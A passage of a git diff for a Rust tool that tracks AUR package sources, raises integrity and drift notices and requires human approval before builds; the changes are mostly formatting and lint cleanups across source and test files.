notice_kind::DOWNGRADE,
"warning",
- serde_json::json!({"served": base.version(), "aur": new_version}),
+ &serde_json::json!({"served": base.version(), "aur": new_version}),
)?;
}
@@ -189,21 +179,11 @@ fn outcome_of(up: Upsert) -> Outcome {
}
}
-fn non_publishable(
- db: &Db,
- pb: &Pkgbase,
- base: &ReleaseRow,
- nc: &NewCandidate,
- recipe: &Recipe,
-) -> Result<Outcome> {
+fn non_publishable(db: &Db, pb: &Pkgbase, base: &ReleaseRow, nc: &NewCandidate, recipe: &Recipe) -> Result<Outcome> {
let old_digests: Vec<SourceDigest> = base.digests();
let new_digests: Vec<SourceDigest> = serde_json::from_str(&nc.source_digests_json).unwrap_or_default();
- let vcs_indices: std::collections::BTreeSet<usize> = recipe
- .source_entries
- .iter()
- .filter(|e| e.is_vcs())
- .map(|e| e.index)
- .collect();
+ let vcs_indices: std::collections::BTreeSet<usize> =
+ recipe.source_entries.iter().filter(|e| e.is_vcs()).map(|e| e.index).collect();
let changed_remote: Vec<&SourceDigest> = new_digests
.iter()
.filter(|n| n.kind != "local" && !vcs_indices.contains(&n.index))
@@ -223,7 +203,7 @@ fn non_publishable(
.map(|n| {
serde_json::json!({"index": n.index, "url": n.url,
"old": old_digests.iter().find(|o| o.index == n.index)
- .map(|o| o.digest.clone()).unwrap_or_default(),
+ .map_or_default(|o| o.digest.clone()),
"new": n.digest})
})
.collect();
@@ -232,13 +212,16 @@ fn non_publishable(
pb.id,
notice_kind::INTEGRITY_ALERT,
"high",
- serde_json::json!({
+ &serde_json::json!({
"version": nc.version(),
"changed": changed,
"message": "the artifact in your index was built from bytes upstream no longer serves; the version string is unchanged",
}),
)?;
- return Ok(Outcome::Notice { kind: notice_kind::INTEGRITY_ALERT.into(), detail: serde_json::json!({"changed": changed}) });
+ return Ok(Outcome::Notice {
+ kind: notice_kind::INTEGRITY_ALERT.into(),
+ detail: serde_json::json!({"changed": changed}),
+ });
}
if pins_changed {
db::put_notice_once(
@@ -246,7 +229,7 @@ fn non_publishable(
pb.id,
notice_kind::PIN_DRIFT,
"info",
- serde_json::json!({
+ &serde_json::json!({
"version": nc.version(),
"message": "upstream moved; pkgver unchanged, nothing publishable",
}),
@@ -258,7 +241,7 @@ fn non_publishable(
pb.id,
notice_kind::RECIPE_DRIFT,
"warning",
- serde_json::json!({
+ &serde_json::json!({
"version": nc.version(),
"accepted_aur_commit": base.aur_commit,
"aur_commit": "moved",
diff --git a/src/watch/digests.rs b/src/watch/digests.rs
index 027062b..ae53191 100644
--- a/src/watch/digests.rs
+++ b/src/watch/digests.rs
@@ -1,5 +1,5 @@
use crate::config::Config;
-use crate::db::{self, *};
+use crate::db::{self, Db, Recipe, SourceDigest, UpstreamPin};
use crate::error::Result;
use crate::recipe::{declared_sums, is_hex_digest, SKIP};
use crate::watch::mirror::Tree;
@@ -23,10 +23,7 @@ pub(crate) fn resolve_sources(
if entry.is_vcs() {
let pin = pins.iter().find(|p| p.index == entry.index);
- let digest = pin
- .map(|p| p.commit.clone())
- .or_else(|| entry.commit.clone())
- .unwrap_or_default();
+ let digest = pin.map(|p| p.commit.clone()).or_else(|| entry.commit.clone()).unwrap_or_default();
out.push(SourceDigest {
index: entry.index,
url: entry.url.clone(),
@@ -43,11 +40,8 @@ pub(crate) fn resolve_sources(
if entry.local {
let name = entry.filename.clone().unwrap_or_default();
- let path = tree
- .blobs
- .iter()
- .find(|(p, _)| p == &name || p.ends_with(&format!("/{name}")))
- .map(|(p, _)| p.clone());
+ let path =
+ tree.blobs.iter().find(|(p, _)| p == &name || p.ends_with(&format!("/{name}"))).map(|(p, _)| p.clone());
let (digest, size) = match path {
Some(p) => {
let bytes = crate::watch::mirror::read_file(mirror, commit, &p)?;
@@ -96,13 +90,13 @@ pub(crate) fn download_and_cache(cfg: &Config, db: &Db, url: &str) -> Result<(St
let tmp = cfg.source_cache_dir().join(format!("tmp-{}", crate::hash::short(url.as_bytes(), 16)));
let (digest, size) = crate::fetch::fetch_to(url, &tmp)?;
let dest = cfg.source_cache_path(&digest);
- if !dest.exists() {
+ if dest.exists() {
+ let _ = std::fs::remove_file(&tmp);
+ } else {
if let Some(parent) = dest.parent() {
std::fs::create_dir_all(parent)?;
}
std::fs::rename(&tmp, &dest)?;
- } else {
- let _ = std::fs::remove_file(&tmp);
}
let dest_s = dest.display().to_string();
db::put_source_cache(&db.writer, url, &digest, size, &dest_s)?;
@@ -110,9 +104,5 @@ pub(crate) fn download_and_cache(cfg: &Config, db: &Db, url: &str) -> Result<(St
}
pub(crate) fn cached_path(db: &Db, url: &str, digest: &str) -> Option<std::path::PathBuf> {
- db::source_cache_path(db, url, digest)
- .ok()
- .flatten()
- .map(std::path::PathBuf::from)
- .filter(|p| p.exists())
+ db::source_cache_path(db, url, digest).ok().flatten().map(std::path::PathBuf::from).filter(|p| p.exists())
}
diff --git a/src/watch/mirror.rs b/src/watch/mirror.rs
index 5b7e2b1..0eb9a77 100644
--- a/src/watch/mirror.rs
+++ b/src/watch/mirror.rs
@@ -39,10 +39,7 @@ fn sync_mirror_impl(cfg: &Config, db: &Db, name: &str, url: &str) -> Result<Sync
return Ok(Sync::Cloned { head });
}
- let remote = match git::ls_remote_head(url)? {
- Some(h) => h,
- None => return Ok(Sync::Gone),
- };
+ let Some(remote) = git::ls_remote_head(url)? else { return Ok(Sync::Gone) };
let local = git::head(&mirror).ok();
if let Some(l) = &local {
if *l == remote {
@@ -95,9 +92,7 @@ pub(crate) fn read_tree(mirror: &Path, commit: &str) -> Result<Tree> {
let contents = git::cat_file_batch(mirror, &oids)?;
let mut files = BTreeMap::new();
for (path, sha) in &blobs {
- let bytes = contents
- .get(sha)
- .ok_or_else(|| Error::not_found(Missing::MirrorPath(path.to_string())))?;
+ let bytes = contents.get(sha).ok_or_else(|| Error::not_found(Missing::MirrorPath(path.to_string())))?;
if bytes.len() > 4 * 1024 * 1024 || !looks_textual(bytes) {
continue;
}
@@ -114,7 +109,6 @@ pub(crate) fn read_file(mirror: &Path, commit: &str, path: &str) -> Result<Vec<u
git::read_blob(mirror, commit, path)
}
-
#[cfg(test)]
mod tests {
use super::*;
@@ -125,10 +119,7 @@ mod tests {
/// answer for, so the test does not stand up a mirror, a database or a
/// config to ask it a question about one tree.
fn repo(files: &[(&str, &[u8])]) -> (std::path::PathBuf, String) {
- let nonce = std::time::SystemTime::now()
- .duration_since(std::time::UNIX_EPOCH)
- .unwrap()
- .as_nanos();
+ let nonce = std::time::SystemTime::now().duration_since(std::time::UNIX_EPOCH).unwrap().as_nanos();
let dir = std::env::temp_dir().join(format!("aur-read-tree-{}-{}", std::process::id(), nonce));
std::fs::create_dir_all(&dir).unwrap();
let git = |args: &[&str]| {
@@ -157,10 +148,13 @@ mod tests {
#[test]
fn read_tree_returns_every_blob_from_one_batch_read() {
let (dir, head) = repo(&[
- ("PKGBUILD", b"pkgbase=foo
+ (
+ "PKGBUILD",
+ b"pkgbase=foo
pkgver=1.0
pkgrel=1
-"),
+",
+ ),
("empty.txt", b""),
("blob.bin", b"\x00not text"),
]);
@@ -179,8 +173,11 @@ pkgrel=1
#[test]
fn read_tree_fails_closed_when_the_commit_is_gone_from_the_mirror() {
- let (dir, _head) = repo(&[("PKGBUILD", b"pkgbase=foo
-")]);
+ let (dir, _head) = repo(&[(
+ "PKGBUILD",
+ b"pkgbase=foo
+",
+ )]);
for gone in ["0123456789012345678901234567890123456789", "deadbeef"] {
let err = read_tree(&dir, gone).unwrap_err().to_string();
assert!(err.contains("missing from the local mirror"), "{gone}: {err}");
diff --git a/src/watch/scheduler.rs b/src/watch/scheduler.rs
index 4508a03..5aae7ea 100644
--- a/src/watch/scheduler.rs
+++ b/src/watch/scheduler.rs
@@ -27,17 +27,12 @@ pub fn spawn_scheduler(cfg: Arc<Config>, db: Db, stop: Arc<AtomicBool>) -> JoinH
pub fn sweep(cfg: &Config, db: &Db) -> usize {
let now = crate::time::now();
- let due = match db::due_subscriptions(db, &now) {
- Ok(d) => d,
- Err(_) => return 0,
- };
+ let Ok(due) = db::due_subscriptions(db, &now) else { return 0 };
let mut n = 0;
for sub in due {
// Mark it checked first so a slow or hanging source cannot make the
// scheduler re-enter it on the next tick.
- let interval = sub
- .poll_interval_secs
- .unwrap_or(crate::db::setting_i64(db, "poll_interval", 86400));
+ let interval = sub.poll_interval_secs.unwrap_or(crate::db::setting_i64(db, "poll_interval", 86400));
let _ = db::note_check(&db.writer, &sub.pkgbase, &crate::time::secs_ahead(interval), None);
match check_pkgbase(cfg, db, &sub.pkgbase) {
Ok(report) => {
@@ -51,12 +46,7 @@ pub fn sweep(cfg: &Config, db: &Db) -> usize {
}
}
Err(e) => {
- let _ = db::note_check(
- &db.writer,
- &sub.pkgbase,
- &crate::time::secs_ahead(600),
- Some(&e.to_string()),
- );
+ let _ = db::note_check(&db.writer, &sub.pkgbase, &crate::time::secs_ahead(600), Some(&e.to_string()));
}
}
n += 1;
diff --git a/src/watch/staleness.rs b/src/watch/staleness.rs
index 94813eb..6b83032 100644
--- a/src/watch/staleness.rs
+++ b/src/watch/staleness.rs
@@ -12,7 +12,7 @@ pub enum Kind {
/// only way to reach it, and the alias is what carries the
/// feature-conditional visibility.
mod stale {
- use super::*;
+ use super::Kind;
#[derive(Debug, Clone)]
pub struct Stale {
@@ -97,9 +97,7 @@ pub fn dependents_of(db: &Db, name: &str) -> Result<Vec<String>> {
continue;
}
let depends = match serde_json::from_str::<crate::db::model::Recipe>(&json) {
- Ok(r) => crate::pkgver::dep_names(&r.depends)
- .into_iter()
- .any(|d| d == name),
+ Ok(r) => crate::pkgver::dep_names(&r.depends).into_iter().any(|d| d == name),
Err(_) => true,
};
if depends {
diff --git a/src/watch/upstream.rs b/src/watch/upstream.rs
index 7987178..523574a 100644
--- a/src/watch/upstream.rs
+++ b/src/watch/upstream.rs
@@ -5,7 +5,11 @@ use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::{Condvar, Mutex};
use crate::config::Config;
-use crate::db::{self, model::*, Db, Pkgbase};
+use crate::db::{
+ self,
+ model::{Recipe, StageBCacheRow, UpstreamPin},
+ Db, Pkgbase,
+};
use crate::error::{Error, Result, TransientCause};
use crate::git;
@@ -116,12 +120,7 @@ pub(crate) struct StageB {
impl StageB {
fn from_cache(row: StageBCacheRow) -> Self {
- StageB {
- epoch: row.epoch,
- pkgver: row.pkgver,
- pkgrel: row.pkgrel,
- pins: row.pins,
- }
+ StageB { epoch: row.epoch, pkgver: row.pkgver, pkgrel: row.pkgrel, pins: row.pins }
}
fn as_row(&self) -> StageBCacheRow {
@@ -143,14 +142,14 @@ static SLOT_LOCK: Mutex<()> = Mutex::new(());
/// only way to reach it, and the alias is what carries the
/// feature-conditional visibility.
mod stage_b_slot {
- use super::*;
+ use super::{Ordering, RUNNING, SLOT_FREE, SLOT_LOCK};
pub struct StageBSlot(());
impl StageBSlot {
pub fn acquire(cap: usize) -> Self {
let cap = cap.max(1);
- let guard = SLOT_LOCK.lock().unwrap_or_else(|e| e.into_inner());
+ let guard = SLOT_LOCK.lock().unwrap_or_else(std::sync::PoisonError::into_inner);
let mut guard = guard;
loop {
let n = RUNNING.load(Ordering::SeqCst);
@@ -159,7 +158,7 @@ mod stage_b_slot {
drop(guard);
return StageBSlot(());
}
- guard = SLOT_FREE.wait(guard).unwrap_or_else(|e| e.into_inner());
+ guard = SLOT_FREE.wait(guard).unwrap_or_else(std::sync::PoisonError::into_inner);
}
}
}
@@ -191,7 +190,7 @@ pub(crate) fn resolve(
recipe_hash: &str,
stage_a: &StageA,
) -> Result<Option<StageB>> {
- if !recipe.source_entries.iter().any(|e| e.is_vcs()) {
+ if !recipe.source_entries.iter().any(super::super::db::model::SourceEntry::is_vcs) {
return Ok(None);
}
let tip_hash = tip_hash(&stage_a.pins);
@@ -225,11 +224,11 @@ fn run(
continue;
}
let cache = cfg.vcs_cache_path(&pin.url);
- if !cache.exists() {
+ if cache.exists() {
+ let _ = git::fetch_and_head(&cache);
+ } else {
git::clone_bare(&pin.url, &cache)
.map_err(|e| Error::transient(TransientCause::Upstream(format!("vcs_cache clone {}: {e}", pin.url))))?;
- } else {
- let _ = git::fetch_and_head(&cache);
}
if let Ok(local) = git::head(&cache) {
if !local.is_empty() && git::has_commit(&cache, &pin.commit) {
@@ -251,10 +250,7 @@ fn run(
let out = cmd.output()?;
let _ = std::fs::remove_dir_all(&scratch);
if !out.status.success() {
- return Err(Error::transient(format!(
- "makepkg --vercheck: {}",
- String::from_utf8_lossy(&out.stderr).trim()
- )));
+ return Err(Error::transient(format!("makepkg --vercheck: {}", String::from_utf8_lossy(&out.stderr).trim())));
}
let text = String::from_utf8_lossy(&out.stdout).trim().to_string();
let (pkgver, pkgrel) = match text.rsplit_once('-') {
@@ -264,12 +260,7 @@ fn run(
if pkgver.is_empty() {
return Err(Error::other(format!("makepkg --vercheck produced {text:?}")));
}
- Ok(StageB {
- epoch: recipe.epoch.clone(),
- pkgver,
- pkgrel,
- pins,
- })
+ Ok(StageB { epoch: recipe.epoch.clone(), pkgver, pkgrel, pins })
}
fn default_branch(cache: &std::path::Path) -> Option<String> {
@@ -280,16 +271,15 @@ fn default_branch(cache: &std::path::Path) -> Option<String> {
}
pub fn tip_hash(pins: &[UpstreamPin]) -> String {
- let mut v: Vec<String> = pins
- .iter()
- .map(|p| format!("{}:{}:{}", p.index, p.url, p.commit))
- .collect();
+ let mut v: Vec<String> = pins.iter().map(|p| format!("{}:{}:{}", p.index, p.url, p.commit)).collect();
v.sort();
crate::hash::hex_str(&v.join("\n"))
}
fn scratch_dir(cfg: &Config, pkgbase: &str, recipe_hash: &str, tip_hash: &str) -> PathBuf {
- cfg.staging_dir()
- .join("vercheck")
- .join(format!("{pkgbase}-{}-{}", &recipe_hash[..8.min(recipe_hash.len())], &tip_hash[..8.min(tip_hash.len())]))
+ cfg.staging_dir().join("vercheck").join(format!(
+ "{pkgbase}-{}-{}",
+ &recipe_hash[..8.min(recipe_hash.len())],
+ &tip_hash[..8.min(tip_hash.len())]
+ ))
}
diff --git a/tests/approve.rs b/tests/approve.rs
index c5be8e0..97423b3 100644
--- a/tests/approve.rs
+++ b/tests/approve.rs
@@ -45,7 +45,7 @@ fn approve_writes_an_immutable_row_carrying_both_hashes() {
.read(|c| {
let mut st = c.prepare("SELECT action FROM audit ORDER BY id")?;
let rows = st.query_map([], |r| r.get::<_, String>(0))?;
- Ok(rows.filter_map(|r| r.ok()).collect())
+ Ok(rows.filter_map(std::result::Result::ok).collect())
})
.unwrap();
assert!(actions.iter().any(|a| a == "approve"), "{actions:?}");
@@ -115,17 +115,9 @@ fn bulk_refusals_are_their_own_reasons() {
let items = [(c.id, c.identity_hash.clone(), dd.clone())];
let out = bulk(&env.db, "tester", &items, "approve", &[]).unwrap();
- assert!(
- matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::HighRiskUnconfirmed)),
- "{:?}",
- out[0].outcome
- );
+ assert!(matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::HighRiskUnconfirmed)), "{:?}", out[0].outcome);
let out = bulk(&env.db, "tester", &items, "ship-it", &[]).unwrap();
- assert!(
- matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::UnknownDecision(_))),
- "{:?}",
- out[0].outcome
- );
+ assert!(matches!(out[0].outcome, BulkOutcome::Refused(BulkRefusal::UnknownDecision(_))), "{:?}", out[0].outcome);
let out = bulk(&env.db, "tester", &items, "approve", &[c.id]).unwrap();
assert!(matches!(out[0].outcome, BulkOutcome::Approved(_)), "{:?}", out[0].outcome);
let out = bulk(&env.db, "tester", &items, "approve", &[c.id]).unwrap();
@@ -200,11 +192,7 @@ fn reject_requires_a_reason_and_records_it() {
let note: String = env
.db
.read(|c| {
- Ok(c.query_row(
- "SELECT note FROM approval WHERE candidate_id=?1",
- rusqlite::params![cid],
- |r| r.get(0),
- )?)
+ Ok(c.query_row("SELECT note FROM approval WHERE candidate_id=?1", rusqlite::params![cid], |r| r.get(0))?)
})
.unwrap();
assert!(note.contains("license"), "{note}");
@@ -220,10 +208,7 @@ fn reject_requires_a_reason_and_records_it() {
})
.unwrap();
assert_eq!(actor_kind, "human");
- assert!(
- detail.contains(&c.identity_hash),
- "the audit row does not say which review bytes were rejected: {detail}"
- );
+ assert!(detail.contains(&c.identity_hash), "the audit row does not say which review bytes were rejected: {detail}");
}
// ------------------------------------------------------------- the CLI path --
@@ -266,7 +251,7 @@ fn cli_end_to_end_approves_and_queues_a_build() {
assert!(shown.contains("PKGBUILD") || shown.contains("pkgver"), "diff pane: {shown}");
let out = cli(bin, &root, &["approve", "1", "--yes"]);
- assert_eq!(out.code, Some(2), "stale approval should exit 2: {:?}", out);
+ assert_eq!(out.code, Some(2), "stale approval should exit 2: {out:?}");
}
#[test]
@@ -280,7 +265,7 @@ fn cli_approve_refuses_a_hash_that_was_never_shown() {
cli(bin, &root, &["subscribe", "plain-make", "--url", &url]);
cli(bin, &root, &["detect", "plain-make"]);
let out = cli(bin, &root, &["approve", "1", "--yes", "--identity", "sha256:invented", "--diff", "sha256:invented"]);
- assert_eq!(out.code, Some(2), "must refuse: {:?}", out);
+ assert_eq!(out.code, Some(2), "must refuse: {out:?}");
assert!(out.stderr.contains("refused"), "stderr: {}", out.stderr);
assert_eq!(cli_count(&root, "approval"), 0);
}
@@ -294,12 +279,7 @@ struct Out {
}
fn cli(bin: &str, root: &std::path::Path, args: &[&str]) -> Out {
- let out = std::process::Command::new(bin)
- .arg("--root")
- .arg(root)
- .args(args)
- .output()
- .expect("run aur-build");
+ let out = std::process::Command::new(bin).arg("--root").arg(root).args(args).output().expect("run aur-build");
Out {
code: out.status.code(),
status: out.status,
@@ -314,11 +294,8 @@ fn cli_fixture(root: &std::path::Path, name: &str) -> (std::path::PathBuf, Fixtu
}
fn cli_count(root: &std::path::Path, table: &str) -> i64 {
- let conn = rusqlite::Connection::open_with_flags(
- root.join("aur-build.db"),
- rusqlite::OpenFlags::SQLITE_OPEN_READ_ONLY,
- )
- .expect("open cli db");
- conn.query_row(&format!("SELECT count(*) FROM {table}"), [], |r| r.get::<_, i64>(0))
- .unwrap()
+ let conn =
+ rusqlite::Connection::open_with_flags(root.join("aur-build.db"), rusqlite::OpenFlags::SQLITE_OPEN_READ_ONLY)
+ .expect("open cli db");
+ conn.query_row(&format!("SELECT count(*) FROM {table}"), [], |r| r.get::<_, i64>(0)).unwrap()
}
diff --git a/tests/architecture.rs b/tests/architecture.rs
index b32ea54..7159b32 100644
--- a/tests/architecture.rs
+++ b/tests/architecture.rs
@@ -106,10 +106,7 @@ fn test_files() -> Vec<PathBuf> {
/// any of them.
fn module_of(path: &Path) -> String {
let rel = path.strip_prefix(src_root()).unwrap();
- let parts: Vec<String> = rel
- .components()
- .map(|c| c.as_os_str().to_string_lossy().into_owned())
- .collect();
+ let parts: Vec<String> = rel.components().map(|c| c.as_os_str().to_string_lossy().into_owned()).collect();
match parts.as_slice() {
[only] => only.trim_end_matches(".rs").to_string(),
[head, rest @ ..] if head == "bin" => {
@@ -125,9 +122,7 @@ fn is_comment(line: &str) -> bool {
}
fn word_tail(rest: &str) -> String {
- rest.chars()
- .take_while(|c| c.is_alphanumeric() || *c == '_')
- .collect()
+ rest.chars().take_while(|c| c.is_alphanumeric() || *c == '_').collect()
}
/// The name a `pub` declaration introduces, if this line declares one. `pub
@@ -153,7 +148,7 @@ fn pub_crate_decl(line: &str) -> Option<String> {
return None;
}
let rest = line.trim_start().strip_prefix("pub(crate) ")?;
- let keyword = DECL_KEYWORDS.into_iter().find(|kw| rest.starts_with(&format!("{kw} "))) ?;
+ let keyword = DECL_KEYWORDS.into_iter().find(|kw| rest.starts_with(&format!("{kw} ")))?;
let name = word_tail(&rest[keyword.len() + 1..]);
(!name.is_empty()).then_some(name)
}
@@ -163,13 +158,7 @@ fn is_glob_reexport(line: &str) -> bool {
return false;
}
let t = line.trim_start();
- let after = match t
- .strip_prefix("pub(crate) use ")
- .or_else(|| t.strip_prefix("pub use "))
- {
- Some(after) => after,
- None => return false,
- };
+ let Some(after) = t.strip_prefix("pub(crate) use ").or_else(|| t.strip_prefix("pub use ")) else { return false };
after.contains("::*")
}
@@ -238,14 +227,10 @@ struct Census {
impl Census {
fn take() -> Census {
let files = src_files();
- let texts: Vec<(PathBuf, String)> = files
- .iter()
- .map(|f| (f.clone(), std::fs::read_to_string(f).expect("read source")))
- .collect();
- let test_texts: Vec<String> = test_files()
- .iter()
- .map(|f| std::fs::read_to_string(f).expect("read test"))
- .collect();
+ let texts: Vec<(PathBuf, String)> =
+ files.iter().map(|f| (f.clone(), std::fs::read_to_string(f).expect("read source"))).collect();
+ let test_texts: Vec<String> =
+ test_files().iter().map(|f| std::fs::read_to_string(f).expect("read test")).collect();
let mut modules: BTreeMap<String, Module> = BTreeMap::new();
let allowlist = allowed_pub_items();
@@ -278,9 +263,8 @@ impl Census {
for module in declaring {
modules.get_mut(module).unwrap().pub_items += 1;
}
- let read_outside = texts
- .iter()
- .any(|(path, text)| !declaring.contains(&module_of(path)) && mentions(text, name));
+ let read_outside =
+ texts.iter().any(|(path, text)| !declaring.contains(&module_of(path)) && mentions(text, name));
if read_outside {
continue;
}
@@ -319,9 +303,7 @@ impl Census {
}
let over_allow = allowed_overwide_items();
for (name, files) in &pc_declared {
- let read_outside = texts
- .iter()
- .any(|(path, text)| !files.contains(path) && mentions(text, name));
+ let read_outside = texts.iter().any(|(path, text)| !files.contains(path) && mentions(text, name));
if read_outside {
continue;
}
@@ -360,19 +342,10 @@ impl Census {
/// The budget file, as `module -> key -> allowed`.
fn budget() -> BTreeMap<String, BTreeMap<String, usize>> {
let path = root().join("tests/architecture-budget.json");
- let text = std::fs::read_to_string(&path).unwrap_or_else(|e| {
- panic!(
- "read {}: {}",
- path.display(),
- e
- )
- });
+ let text = std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("read {}: {}", path.display(), e));
let value: serde_json::Value = serde_json::from_str(&text).expect("budget file is json");
let mut out = BTreeMap::new();
- let modules = value
- .get("modules")
- .and_then(|m| m.as_object())
- .expect("budget file has a modules object");
+ let modules = value.get("modules").and_then(|m| m.as_object()).expect("budget file has a modules object");
for (module, row) in modules {
let mut keys = BTreeMap::new();
if let Some(row) = row.as_object() {
@@ -394,19 +367,14 @@ fn allowed_pub_items() -> BTreeSet<String> {
let path = root().join("tests/architecture-budget.json");
let text = std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("read {}: {}", path.display(), e));
let value: serde_json::Value = serde_json::from_str(&text).expect("budget file is json");
- value
- .get("dead_code")
- .and_then(|d| d.get("allowlist"))
- .and_then(|a| a.as_object())
- .map(|a| {
- a.keys()
- .map(|k| {
- assert!(!k.trim().is_empty(), "an allowlist key cannot be blank");
- k.clone()
- })
- .collect()
- })
- .unwrap_or_default()
+ value.get("dead_code").and_then(|d| d.get("allowlist")).and_then(|a| a.as_object()).map_or_default(|a| {
+ a.keys()
+ .map(|k| {
+ assert!(!k.trim().is_empty(), "an allowlist key cannot be blank");
+ k.clone()
+ })
+ .collect()
+ })
}
/// The `over_visibility.allowlist` keys — `module.item` for every `pub(crate)`
@@ -415,19 +383,14 @@ fn allowed_overwide_items() -> BTreeSet<String> {
let path = root().join("tests/architecture-budget.json");
let text = std::fs::read_to_string(&path).unwrap_or_else(|e| panic!("read {}: {}", path.display(), e));
let value: serde_json::Value = serde_json::from_str(&text).expect("budget file is json");
- value
- .get("over_visibility")
- .and_then(|d| d.get("allowlist"))
- .and_then(|a| a.as_object())
- .map(|a| {
- a.keys()
- .map(|k| {
- assert!(!k.trim().is_empty(), "an over-wide permission key cannot be blank");
- k.clone()
- })
- .collect()
- })
- .unwrap_or_default()
+ value.get("over_visibility").and_then(|d| d.get("allowlist")).and_then(|a| a.as_object()).map_or_default(|a| {
+ a.keys()
+ .map(|k| {
+ assert!(!k.trim().is_empty(), "an over-wide permission key cannot be blank");
+ k.clone()
+ })
+ .collect()
+ })
}
/// A top-level section of the budget file, as `key -> allowed`.
@@ -450,20 +413,13 @@ fn budget_section(section: &str) -> BTreeMap<String, usize> {
}
fn rank_of(module: &str) -> Option<u8> {
- RANKS
- .iter()
- .find(|(name, _, _)| *name == module)
- .map(|(_, rank, _)| *rank)
+ RANKS.iter().find(|(name, _, _)| *name == module).map(|(_, rank, _)| *rank)
}
#[test]
fn every_module_is_on_the_map() {
let census = Census::take();
- let unmapped: Vec<&String> = census
- .modules
- .keys()
- .filter(|m| rank_of(m).is_none())
- .collect();
+ let unmapped: Vec<&String> = census.modules.keys().filter(|m| rank_of(m).is_none()).collect();
assert!(
unmapped.is_empty(),
"these modules have no rank, so nothing says what they may depend on: {unmapped:#?}\n\
@@ -474,11 +430,7 @@ fn every_module_is_on_the_map() {
#[test]
fn the_map_names_no_module_twice() {
let mut seen = BTreeSet::new();
- let dupes: Vec<&str> = RANKS
- .iter()
- .filter(|(name, _, _)| !seen.insert(*name))
- .map(|(name, _, _)| *name)
- .collect();
+ let dupes: Vec<&str> = RANKS.iter().filter(|(name, _, _)| !seen.insert(*name)).map(|(name, _, _)| *name).collect();
assert!(dupes.is_empty(), "RANKS lists {dupes:?} twice; the second entry is dead weight");
for (_, _, reason) in RANKS {
assert!(reason.len() > 12, "a rank needs a reason, not a shrug: {reason:?}");
@@ -552,11 +504,7 @@ fn glob_reexports_stay_on_the_allowlist() {
let census = Census::take();
let mut offenders = Vec::new();
for (module, row) in &census.modules {
- let allowed = GLOB_ALLOWLIST
- .iter()
- .find(|(m, _)| m == module)
- .map(|(_, n)| *n)
- .unwrap_or(0);
+ let allowed = GLOB_ALLOWLIST.iter().find(|(m, _)| m == module).map_or(0, |(_, n)| *n);
if row.globs > allowed {
offenders.push(format!("{module}: {} glob re-exports, {allowed} allowed", row.globs));
}
@@ -642,10 +590,7 @@ fn the_census_tool_and_this_test_agree() {
// Two implementations of one definition will drift, and a drift means the
// ratchet is measuring the wrong thing. Gated the way the vercmp oracle is:
// without python3 the note prints and the suite moves on.
- let available = std::process::Command::new("python3")
- .arg("--version")
- .output()
- .is_ok();
+ let available = std::process::Command::new("python3").arg("--version").output().is_ok();
if !available {
println!("python3 is not on PATH — skipping the census cross-check");
return;
@@ -676,7 +621,7 @@ fn the_census_tool_and_this_test_agree() {
("overwide", mine.over_wide),
("glob", mine.globs),
] {
- let got = row.get(key).and_then(|v| v.as_u64()).unwrap_or(u64::MAX) as usize;
+ let got = row.get(key).and_then(serde_json::Value::as_u64).unwrap_or(u64::MAX) as usize;
if got != theirs {
disagreements.push(format!("{module}.{key}: tool {got}, test {theirs}"));
}
@@ -713,11 +658,7 @@ fn the_census_tool_and_this_test_agree() {
/// while it is worked down by changing tests rather than visibilities.
#[test]
fn the_test_surface_is_disposed_of() {
- if !std::process::Command::new("python3")
- .arg("--version")
- .output()
- .is_ok()
- {
+ if !std::process::Command::new("python3").arg("--version").output().is_ok() {
println!("python3 is not on PATH — skipping the test-surface check");
return;
}
@@ -727,11 +668,7 @@ fn the_test_surface_is_disposed_of() {
.current_dir(root())
.output()
.expect("run tools/test-surface.py");
- assert!(
- out.status.success(),
- "tools/test-surface.py failed: {}",
- String::from_utf8_lossy(&out.stderr)
- );
+ assert!(out.status.success(), "tools/test-surface.py failed: {}", String::from_utf8_lossy(&out.stderr));
let report: serde_json::Value = serde_json::from_slice(&out.stdout).expect("test-surface json");
let rows = report.get("rows").and_then(|r| r.as_array()).expect("rows");
@@ -741,7 +678,7 @@ fn the_test_surface_is_disposed_of() {
let name = row.get("name").and_then(|v| v.as_str()).unwrap_or("?");
let module = row.get("module").and_then(|v| v.as_str()).unwrap_or("?");
let disp = row.get("disp").and_then(|v| v.as_str()).unwrap_or("?");
- if !row.get("hand_written").and_then(|v| v.as_bool()).unwrap_or(false) {
+ if !row.get("hand_written").and_then(serde_json::Value::as_bool).unwrap_or(false) {
unreasoned.push(format!("{module}.{name} ({disp})"));
}
// Every piece of in-module evidence for this item is a call in method
@@ -749,11 +686,12 @@ fn the_test_surface_is_disposed_of() {
// from `listener.local_addr()` — the latter is std's, on a different
// type, and it once made a function with no callers look production-used.
// So these rows are named for a human and stay failing until confirmed.
- if row.get("dotted_only").and_then(|v| v.as_bool()).unwrap_or(false)
+ if row.get("dotted_only").and_then(serde_json::Value::as_bool).unwrap_or(false)
&& disp != "already-gated"
- && !row.get("confirmed").and_then(|v| v.as_bool()).unwrap_or(false)
+ && !row.get("confirmed").and_then(serde_json::Value::as_bool).unwrap_or(false)
{
- unconfirmed.push(format!("{module}.{name} at {}", row.get("where").and_then(|v| v.as_str()).unwrap_or("?")));
+ unconfirmed
+ .push(format!("{module}.{name} at {}", row.get("where").and_then(|v| v.as_str()).unwrap_or("?")));
}
}
assert!(
@@ -781,8 +719,8 @@ fn the_test_surface_is_disposed_of() {
// so a human has to say which item the mention meant and record the verdict.
let mut unadjudicated = Vec::new();
for row in rows {
- if row.get("ambiguous").and_then(|v| v.as_bool()).unwrap_or(false)
- && !row.get("adjudicated").and_then(|v| v.as_bool()).unwrap_or(false)
+ if row.get("ambiguous").and_then(serde_json::Value::as_bool).unwrap_or(false)
+ && !row.get("adjudicated").and_then(serde_json::Value::as_bool).unwrap_or(false)
{
unadjudicated.push(format!(
"{}:{} at {}",
@@ -808,7 +746,7 @@ fn the_test_surface_is_disposed_of() {
let mut looser = Vec::new();
let mut tighter = Vec::new();
for (key, ceiling) in surface {
- let actual = counts.get(key).and_then(|v| v.as_u64()).unwrap_or(0) as usize;
+ let actual = counts.get(key).and_then(serde_json::Value::as_u64).unwrap_or(0) as usize;
if actual > *ceiling {
looser.push(format!("{key}: budget {ceiling}, actual {actual}"));
} else if actual < *ceiling {
